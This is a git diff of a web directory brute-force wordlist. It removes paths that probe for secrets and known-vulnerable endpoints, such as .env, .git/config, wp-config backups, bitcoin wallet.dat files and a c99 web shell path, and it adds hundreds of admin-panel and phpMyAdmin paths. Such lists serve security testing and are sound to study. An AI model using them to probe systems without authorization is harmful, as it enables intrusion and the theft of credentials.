+ur-admin.html +ur-admin/ +administr8.php +administr8.html +administr8/ +admin/acceso.php/ +admin/acceso.asp/ +admin/acceso.aspx/ +admin_area/acceso.php/ +admin_area/acceso.asp/ +admin_area/acceso.aspx/ +adminarea/acceso.php/ +adminarea/acceso.asp/ +adminarea/acceso.aspx/ +admincontrol/acceso.php/ +admincontrol/acceso.asp/ +admincontrol/acceso.aspx/ +admincpacceso.php/ +admincpacceso.asp/ +admincpacceso.aspx/ +administrator/acceso.php/ +administrator/acceso.asp/ +administrator/acceso.aspx/ +admin_login/acceso.php/ +admin_login/acceso.asp/ +admin_login/acceso.aspx/ +adminlogin/acceso.php/ +adminlogin/acceso.asp/ +adminlogin/acceso.aspx/ +webadmin/wp-login.php/ +webadmin/wp-login.asp/ +webadmin/wp-login.aspx/ +usuario/wp-login.php/ +usuario/wp-login.asp/ +usuario/wp-login.aspx/ +admin/webadmin.asp/ +admin/webadmin.aspx/ +admin/webadmin.php/ +webadmin/user.php/ +webadmin/user.asp/ +webadmin/user.aspx/ +bb-admin/user.php +bb-admin/user.asp +bb-admin/user.aspx +controlpanel/user.php +controlpanel/user.asp +controlpanel/user.aspx +admin-login/user.php +admin-login/user.asp +admin-login/user.aspx +administrator/user.php +administrator/user.asp +administrator/user.aspx +admin/user.php +adm/user.php +pages/moderator.php +webadmin/moderator.php +users/moderator.php +usuario/user.php/ +usuario/user.asp/ +usuario/user.aspx/ +mysql/ +myadmin/ +sqlmanager/ +mysqlmanager/ +p/m/a/ +phpmanager/ +php-myadmin/ +phpmy-admin/ +sqlweb/ +websql/ +webdb/ +mysqladmin/ +mysql-admin/ +phpmyadmin2/ +phpMyAdmin-2/ +php-my-admin/ +phpMyAdmin-2.2.3/ +phpMyAdmin-2.2.6/ +phpMyAdmin-2.5.1/ +phpMyAdmin-2.5.4/ +phpMyAdmin-2.5.5-rc1/ +phpMyAdmin-2.5.5-rc2/ +phpMyAdmin-2.5.5/ +phpMyAdmin-2.5.5-pl1/ +phpMyAdmin-2.5.6-rc1/ +phpMyAdmin-2.5.6-rc2/ +phpMyAdmin-2.5.6/ +phpMyAdmin-2.5.7/ +phpMyAdmin-2.5.7-pl1/ +phpMyAdmin-2.6.0-alpha/ +phpMyAdmin-2.6.0-alpha2/ +phpMyAdmin-2.6.0-beta1/ +phpMyAdmin-2.6.0-beta2/ +phpMyAdmin-2.6.0-rc1/ +phpMyAdmin-2.6.0-rc2/ +phpMyAdmin-2.6.0-rc3/ +phpMyAdmin-2.6.0/ +phpMyAdmin-2.6.0-pl1/ +phpMyAdmin-2.6.0-pl2/ +phpMyAdmin-2.6.0-pl3/ +phpMyAdmin-2.6.1-rc1/ +phpMyAdmin-2.6.1-rc2/ +phpMyAdmin-2.6.1/ +phpMyAdmin-2.6.1-pl1/ +phpMyAdmin-2.6.1-pl2/ +phpMyAdmin-2.6.1-pl3/ +phpMyAdmin-2.6.2-rc1/ +phpMyAdmin-2.6.2-beta1/ +phpMyAdmin-2.6.2/ +phpMyAdmin-2.6.2-pl1/ +phpMyAdmin-2.6.3/ +phpMyAdmin-2.6.3-rc1/ +phpMyAdmin-2.6.3-pl1/ +phpMyAdmin-2.6.4-rc1/ +phpMyAdmin-2.6.4-pl1/ +phpMyAdmin-2.6.4-pl2/ +phpMyAdmin-2.6.4-pl3/ +phpMyAdmin-2.6.4-pl4/ +phpMyAdmin-2.6.4/ +phpMyAdmin-2.7.0-beta1/ +phpMyAdmin-2.7.0-rc1/ +phpMyAdmin-2.7.0-pl1/ +phpMyAdmin-2.7.0-pl2/ +phpMyAdmin-2.7.0/ +phpMyAdmin-2.8.0-beta1/ +phpMyAdmin-2.8.0-rc2/ +phpMyAdmin-2.8.0/ +phpMyAdmin-2.8.0.1/ +phpMyAdmin-2.8.0.2/ +phpMyAdmin-2.8.0.3/ +phpMyAdmin-2.8.0.4/ +phpMyAdmin-2.8.1-rc1/ +phpMyAdmin-2.8.1/ +phpMyAdmin-2.8.2/ +pma2005/ +administratie/ +admins.php +useradmin/ +sysadmins/ +system-administration/ +administrators/ +pgadmin/ +directadmin/ +sql-admin/ +newsadmin/ +adminpro/ +staradmin/ +ServerAdministrator/ +SysAdmin/ +administer/ +LiveUser_Admin/ +sys-admin/ +autologin/ +support_login/ +memlogin/ +login-redirect/ +sub-login/ +login1/ +dir-login/ +login_db/ +xlogin/ +smblogin/ +customer_login/ +UserLogin/ +acct_login/ +bigadmin/ +project-admins/ +phppgadmin/ +pureadmin/ +bbadmin/ +administratoraccounts/ +AdminTools/ +server/ +database_administration/ +power_user/ +system_administration/ +adminitem/ +sysadm/ +control/ +accounts/ +management/ +phpSQLiteAdmin/ +showlogin/ +0admin/login.asp +0manager/admin.asp +admin/sendfile.asp +admin/sndfile.asp +admin/upfile.asp +admin/upload.asp +admin/uploadfaceok.asp +admin/uploads.asp +admin/uppic.asp +adminadmin/ +adminindex/ +count_admin +default_admin +index/admin +acesso/ +adimin/ +adiministrador/ +adm/admin/ +admin4_account/ +admin4_colon/ +admin/adm/ +administracao/ +banneradmin/ +blogindex/ +cadmins/ +ccp14admin/ +cmsadmin/ +config/ +controle/ +cpanel_file/ +donos/ +edit/ +entrar +entrar.html +entrar.php +ezsqliteadmin/ +formslogin/ +funcoes/ +globes_admin/ +hpwebjetadmin/ +Indy_admin/ +irc-macadmin/ +key/ +logar/ +login/ +loginflat/ +login-us/ +loginuser/ +loginusuarios/ +logo_sysadmin/ +logout/ +Lotus_Domino_Admin/ +macadmin/ +manuallogin/ +membros/ +meta_login/ +navSiteAdmin/ +net/ +not/ +openvpnadmin/ +painel/ +paineldecontrole/ +pc/ +pdc/ +php/ +phpldapadmin/ +platz_login/ +radmind/ +radmind-1/ +rcLogin/ +saff/ +senha/ +senhas/ +server_admin_small/ +sff/ +simpleLogin/ +sistema/ +sshadmin/ +ss_vms_admin_sm/ +Super-Admin/ +SysAdmin2/ +userlogin/ +utility_login/ +vadmind/ +vmailadmin/ +wizmysqladmin/ +ccms/ +ccms/login.php +ccms/index.php diff --git a/wordlists/web-brute-full.txt b/wordlists/web-brute-full.txt index 6040f0d..3a55f5a 100644 --- a/wordlists/web-brute-full.txt +++ b/wordlists/web-brute-full.txt @@ -172237,171 +172237,577 @@ zzz.html zzz.php zzzz zzzzz.php -/api/proxy -/swagger-ui -/demo -/metrics -/heapdump -/pprof -/proxy -/server-status -/api/batch -/codeception.yml -/nomad -/nomad/global/ -/nomad/global/cluster -/download -/readfile -/read_file -/fetch -/test -/testing -/out -/version -/old -/_admin -/backup -/application.wadl -/metrics -/graph -/.svn -/mw-config/ -/dev -/maintenance -/status2 -/_legacy -/test -/debug -/backup -/.git -/actuator -/api/v1/swagger.json -/application.wadl -/service?Wsdl -/beans -/env -/ui/#/app -/java/ -/dasbhoard/ -/sr/ -/si/ -/charts -/secure/ConfigureReport.jspa -/secure/ConfigureReport!default.jspa -/secure/attachmentzip/ -/activity -/script -/jenkins/script -/proxy -/metrics -/secret -/.env -/.c99.php -/.secret -/adminer/ -/charts/ -/.git -/debug -/dev -/demo -/test -/downloads/dom.php -/login/cpanel -/root -/hidden -/keys -/backup -/database -/dB -/shell -/bugs -/passwords -/vpn/index.html -/logon/ -/+CSCOE+/logon.html -/user.php?act=login -/wordpress/wp-content/plugins/keydesign-addon/assets/js/%25url%25 -/data/cache/inc_catalog_base.inc -/changelog.old -/readme.old -/install.old -/test.old -/login.old -/test1.old -/vendor/phpunit/phpunit/phpunit.xsd -/bitcoin/backup/wallet.dat -/wallet.dat -/wallet/ -/wallet/wallet.dat -/bitcoin/wallet.dat -/backup/wallet.dat -/.bitcoin/wallet.dat -/temp/bitcoin/wallet.dat -/temp/wallet.dat -/backup/bitcoin/wallet.dat -/bitcoin/backup/wallet.dat -/data/cache/inc_catalog_base.inc -/rest/tinymce/1/macro/preview -/aastra.cfg -/.env -/Lists/admin.php -/.git/config -/admin.php -/wordpress/xmlrpc.php -/wp-config.bak -/wp-config.php-bak -/wp-config.php.bak -/wp-config.php.new -/wp-config.php.old -/wp-config.php_Old -/wp-config.php_bak -/wp-config.php_new -/wp-config.php_old -/_VTI_BIN/WSTS -/data/cache/inc_catalog_base.inc -/dana/home/cts_get_ica.cgi -/dana-admin/auth/hc.cgi -/dana-admin/diag/diag.cgi -/dana-na/auth/setcookie.cgi -/wordpress/wp-content/uploads/dump.sql -/wordpress/wp-content/debug.log -/wordpress/readme.html -/Lists/admin.php -/api/apidocs -/api/v1/apidocs -/api/v2/apidocs -/api/api-docs -/api/v1/api-docs -/api/v2/api-docs -/swagger -/swagger/ -/swagger.json -/swagger-ui -/swagger-ui.html -/swagger-ui.json -/swagger.yml -/api/swagger -/api/swagger/ -/api/swagger.json -/api/swagger-ui -/api/swagger-ui.html -/api/swagger-ui.json -/api/v1/swagger -/api/v1/swagger/ -/api/v1/swagger.json -/api/v1/swagger-ui -/api/v1/swagger-ui.html -/api/v1/swagger-ui.json -/api/v2/swagger -/api/v2/swagger/ -/api/v2/swagger.json -/api/v2/swagger-ui -/api/v2/swagger-ui.html -/api/v2/swagger-ui.json -/graphql -/api -/api/v1/ -/api/v2 -/api/v3 -/wls-wsat/ -/wls-wsat/CoordinatorPortType \ No newline at end of file +admin/ +admin.asp/ +admin/admin.asp/ +admin.aspx/ +admin/admin.aspx/ +admin.php/ +administrator/ +login.php +admin.php +user/ +usuarios/ +usuario/ +Admin/ +cpanel/ +phpmyadmin/ +dashboard +cms/ +users/ +wp-login.php/ +admin/login +auth/login/ +moderator/ +webadmin/ +webmaster/ +adminarea/ +bb-admin/ +wp-admin/ +wp-login/ +wp-admin.php +userlogin/ +logins/ +login.html +adminLogin/ +admin_area/ +panel-administracion/ +instadmin/ +memberadmin/ +administratorlogin/ +panel/ +forum/admin +adm/ +cp/ +vue-element-admin +admin/cp.php +cp.php +admincontrol/ +admincp/ +admin/account.php +admin/index.php +admin/login.php +admin/admin.php +admin_area/admin.php +admin_area/login.php +siteadmin/login.php +siteadmin/index.php +siteadmin/login.html +admin/account.html +admin/index.html +admin/login.html +admin/admin.html +admin_area/index.php +dashboard.html +dashboard.php +bb-admin/index.php +bb-admin/login.php +bb-admin/admin.php +admin/home.php +admin_area/login.html +admin_area/index.html +admin/controlpanel.php +admincp/index.asp +admincp/login.asp +admincp/index.html +adminpanel.html +webadmin.html +webadmin/index.html +webadmin/admin.html +webadmin/login.html +admin/admin_login.html +admin_login.html +panel-administracion/login.html +administrator/index.php +administrator/login.php +nsw/admin/login.php +webadmin/login.php +admin/admin_login.php +admin_login.php +administrator/account.php +administrator.php +admin_area/admin.html +pages/admin/ +pages/admin/admin-login.php +admin/admin-login.php +admin-login.php +members/ +bb-admin/index.html +bb-admin/login.html +acceso.php +bb-admin/admin.html +admin/home.html +modelsearch/login.php +moderator.php +moderator/login.php +moderator/admin.php +account.php +pages/admin/admin-login.html +admin/admin-login.html +admin-login.html +controlpanel.php +admincontrol.php +admin/adminLogin.html +adminLogin.html +home.html +rcjakar/admin/login.php +adminarea/index.html +adminarea/admin.html +webadmin.php +webadmin/index.php +webadmin/admin.php +admin/controlpanel.html +admin.html +admin/cp.html +cp.html +adminpanel.php +moderator.html +administrator/index.html +administrator/login.html +user.html +administrator/account.html +administrator.html +modelsearch/login.html +moderator/login.html +adminarea/login.html +panel-administracion/index.html +panel-administracion/admin.html +modelsearch/index.html +modelsearch/admin.html +admincontrol/login.html +adm/index.html +adm.html +moderator/admin.html +user.php +account.html +controlpanel.html +admincontrol.html +panel-administracion/login.php +wp-login.php +adminLogin.php +admin/adminLogin.php +home.php +adminarea/index.php +adminarea/admin.php +adminarea/login.php +panel-administracion/index.php +panel-administracion/admin.php +modelsearch/index.php +modelsearch/admin.php +admincontrol/login.php +adm/admloginuser.php +admloginuser.php +admin2.php +admin2/login.php +admin2/index.php +usuarios/login.php +adm/index.php +adm.php +affiliate.php +adm_auth.php +memberadmin.php +administratorlogin.php +admin. +login. +login1. +panel. +admin1. +admin2. +admin3. +admin4. +moderator. +webadmin. +user. +administration/ +mag/admin/ +joomla/administrator/ +manager/ +adminpanel/ +controlpanel/ +logon/ +auth/ +apanel/ +a/ +acart/ +access/ +account/ +achievo/ +address/ +admins/ +0admin/ +admin1/ +admin2/ +admin3/ +admin4/ +admin5/ +_adm_/ +_admin_/ +_administrator_/ +_adm/ +_admin/ +achtung/ +_administrator/ +AdminWeb/ +administration.php +links/login.php +cms/_admin/logon.php +typo3/ +pma/ +cms/login/ +access.php +sysadm.php +adm2/ +include/admin.php +admin/moderator.php +interactive/admin.php +edit.php +siteadmin/ +hcaadmin.php +svn/ +blog/wp-login.php +admin/log.php +login/login.php +adminka.php +wholesale-login.php +authorize.php +editor/ +base/admin/ +includes/login.php +site_admin/login.php +statredir/ +lists/admin/ +sec/login.php +bitrix/admin/ +admin_tool/ +cabinet/ +klarnetCMS/ +debug/rus/autorisation/ +cms/admin/ +Admin/private/ +site/admin/ +admen/ +admin2/index/ +db/admin.php +admin/adm.php +admin/admin/ +manager/ispmgr/ +phpMyAdmin/ +login.aspx/ +admin/login.asp +admin/login.aspx/ +moderator/admin.asp/ +webadmin.asp/ +webadmin/admin.asp/ +author/Admin.aspx/ +admin/userAdmin.aspx/ +dbadmin/ +AdministratorS/Admin.aspx/ +admin/secure/admin.aspx/ +bb-admin/admin.asp/ +processlogin.php/ +0manager/ +acceso.asp/ +acceso.aspx/ +account.asp/ +account.aspx/ +wp-login.asp/ +wp-login.aspx/ +admin_login/ +admin-login/ +modelsearch/ +nsw/ +rcjakar/ +private.php/ +_vti_pvt/ +_private/ +admin1.php +admin2.html +yonetim.php +yonetim.html +yonetici.php +yonetici.html +admin1.asp +admin2.asp +yonetim.asp +yonetici.asp +admin/index.asp +admin/home.asp +admin/controlpanel.asp +sysadmin.php +sysadmin.html +sysadmin/ +ur-admin.asp +ur-admin.php +ur-admin.html +ur-admin/ +administr8.php +administr8.html +administr8/ +admin/acceso.php/ +admin/acceso.asp/ +admin/acceso.aspx/ +admin_area/acceso.php/ +admin_area/acceso.asp/ +admin_area/acceso.aspx/ +adminarea/acceso.php/ +adminarea/acceso.asp/ +adminarea/acceso.aspx/ +admincontrol/acceso.php/ +admincontrol/acceso.asp/ +admincontrol/acceso.aspx/ +admincpacceso.php/ +admincpacceso.asp/ +admincpacceso.aspx/ +administrator/acceso.php/ +administrator/acceso.asp/ +administrator/acceso.aspx/ +admin_login/acceso.php/ +admin_login/acceso.asp/ +admin_login/acceso.aspx/ +adminlogin/acceso.php/ +adminlogin/acceso.asp/ +adminlogin/acceso.aspx/ +webadmin/wp-login.php/ +webadmin/wp-login.asp/ +webadmin/wp-login.aspx/ +usuario/wp-login.php/ +usuario/wp-login.asp/ +usuario/wp-login.aspx/ +admin/webadmin.asp/ +admin/webadmin.aspx/ +admin/webadmin.php/ +webadmin/user.php/ +webadmin/user.asp/ +webadmin/user.aspx/ +bb-admin/user.php +bb-admin/user.asp +bb-admin/user.aspx +controlpanel/user.php +controlpanel/user.asp +controlpanel/user.aspx +admin-login/user.php +admin-login/user.asp +admin-login/user.aspx +administrator/user.php +administrator/user.asp +administrator/user.aspx +admin/user.php +adm/user.php +pages/moderator.php +webadmin/moderator.php +users/moderator.php +usuario/user.php/ +usuario/user.asp/ +usuario/user.aspx/ +mysql/ +myadmin/ +sqlmanager/ +mysqlmanager/ +p/m/a/ +phpmanager/ +php-myadmin/ +phpmy-admin/ +sqlweb/ +websql/ +webdb/ +mysqladmin/ +mysql-admin/ +phpmyadmin2/ +phpMyAdmin-2/ +php-my-admin/ +phpMyAdmin-2.2.3/ +phpMyAdmin-2.2.6/ +phpMyAdmin-2.5.1/ +phpMyAdmin-2.5.4/ +phpMyAdmin-2.5.5-rc1/ +phpMyAdmin-2.5.5-rc2/ +phpMyAdmin-2.5.5/ +phpMyAdmin-2.5.5-pl1/ +phpMyAdmin-2.5.6-rc1/ +phpMyAdmin-2.5.6-rc2/ +phpMyAdmin-2.5.6/ +phpMyAdmin-2.5.7/ +phpMyAdmin-2.5.7-pl1/ +phpMyAdmin-2.6.0-alpha/ +phpMyAdmin-2.6.0-alpha2/ +phpMyAdmin-2.6.0-beta1/ +phpMyAdmin-2.6.0-beta2/ +phpMyAdmin-2.6.0-rc1/ +phpMyAdmin-2.6.0-rc2/ +phpMyAdmin-2.6.0-rc3/ +phpMyAdmin-2.6.0/ +phpMyAdmin-2.6.0-pl1/ +phpMyAdmin-2.6.0-pl2/ +phpMyAdmin-2.6.0-pl3/ +phpMyAdmin-2.6.1-rc1/ +phpMyAdmin-2.6.1-rc2/ +phpMyAdmin-2.6.1/ +phpMyAdmin-2.6.1-pl1/ +phpMyAdmin-2.6.1-pl2/ +phpMyAdmin-2.6.1-pl3/ +phpMyAdmin-2.6.2-rc1/ +phpMyAdmin-2.6.2-beta1/ +phpMyAdmin-2.6.2/ +phpMyAdmin-2.6.2-pl1/ +phpMyAdmin-2.6.3/ +phpMyAdmin-2.6.3-rc1/ +phpMyAdmin-2.6.3-pl1/ +phpMyAdmin-2.6.4-rc1/ +phpMyAdmin-2.6.4-pl1/ +phpMyAdmin-2.6.4-pl2/ +phpMyAdmin-2.6.4-pl3/ +phpMyAdmin-2.6.4-pl4/ +phpMyAdmin-2.6.4/ +phpMyAdmin-2.7.0-beta1/ +phpMyAdmin-2.7.0-rc1/ +phpMyAdmin-2.7.0-pl1/ +phpMyAdmin-2.7.0-pl2/ +phpMyAdmin-2.7.0/ +phpMyAdmin-2.8.0-beta1/ +phpMyAdmin-2.8.0-rc2/ +phpMyAdmin-2.8.0/ +phpMyAdmin-2.8.0.1/ +phpMyAdmin-2.8.0.2/ +phpMyAdmin-2.8.0.3/ +phpMyAdmin-2.8.0.4/ +phpMyAdmin-2.8.1-rc1/ +phpMyAdmin-2.8.1/ +phpMyAdmin-2.8.2/ +pma2005/ +administratie/ +admins.php +useradmin/ +sysadmins/ +system-administration/ +administrators/ +pgadmin/ +directadmin/ +sql-admin/ +newsadmin/ +adminpro/ +staradmin/ +ServerAdministrator/ +SysAdmin/ +administer/ +LiveUser_Admin/ +sys-admin/ +autologin/ +support_login/ +memlogin/ +login-redirect/ +sub-login/ +login1/ +dir-login/ +login_db/ +xlogin/ +smblogin/ +customer_login/ +UserLogin/ +acct_login/ +bigadmin/ +project-admins/ +phppgadmin/ +pureadmin/ +bbadmin/ +administratoraccounts/ +AdminTools/ +server/ +database_administration/ +power_user/ +system_administration/ +adminitem/ +sysadm/ +control/ +accounts/ +management/ +phpSQLiteAdmin/ +showlogin/ +0admin/login.asp +0manager/admin.asp +admin/sendfile.asp +admin/sndfile.asp +admin/upfile.asp +admin/upload.asp +admin/uploadfaceok.asp +admin/uploads.asp +admin/uppic.asp +adminadmin/ +adminindex/ +count_admin +default_admin +index/admin +acesso/ +adimin/ +adiministrador/ +adm/admin/ +admin4_account/ +admin4_colon/ +admin/adm/ +administracao/ +banneradmin/ +blogindex/ +cadmins/ +ccp14admin/ +cmsadmin/ +config/ +controle/ +cpanel_file/ +donos/ +edit/ +entrar +entrar.html +entrar.php +ezsqliteadmin/ +formslogin/ +funcoes/ +globes_admin/ +hpwebjetadmin/ +Indy_admin/ +irc-macadmin/ +key/ +logar/ +login/ +loginflat/ +login-us/ +loginuser/ +loginusuarios/ +logo_sysadmin/ +logout/ +Lotus_Domino_Admin/ +macadmin/ +manuallogin/ +membros/ +meta_login/ +navSiteAdmin/ +net/ +not/ +openvpnadmin/ +painel/ +paineldecontrole/ +pc/ +pdc/ +php/ +phpldapadmin/ +platz_login/ +radmind/ +radmind-1/ +rcLogin/ +saff/ +senha/ +senhas/ +server_admin_small/ +sff/ +simpleLogin/ +sistema/ +sshadmin/ +ss_vms_admin_sm/ +Super-Admin/ +SysAdmin2/ +userlogin/ +utility_login/ +vadmind/ +vmailadmin/ +wizmysqladmin/ +ccms/ +ccms/login.php +ccms/index.php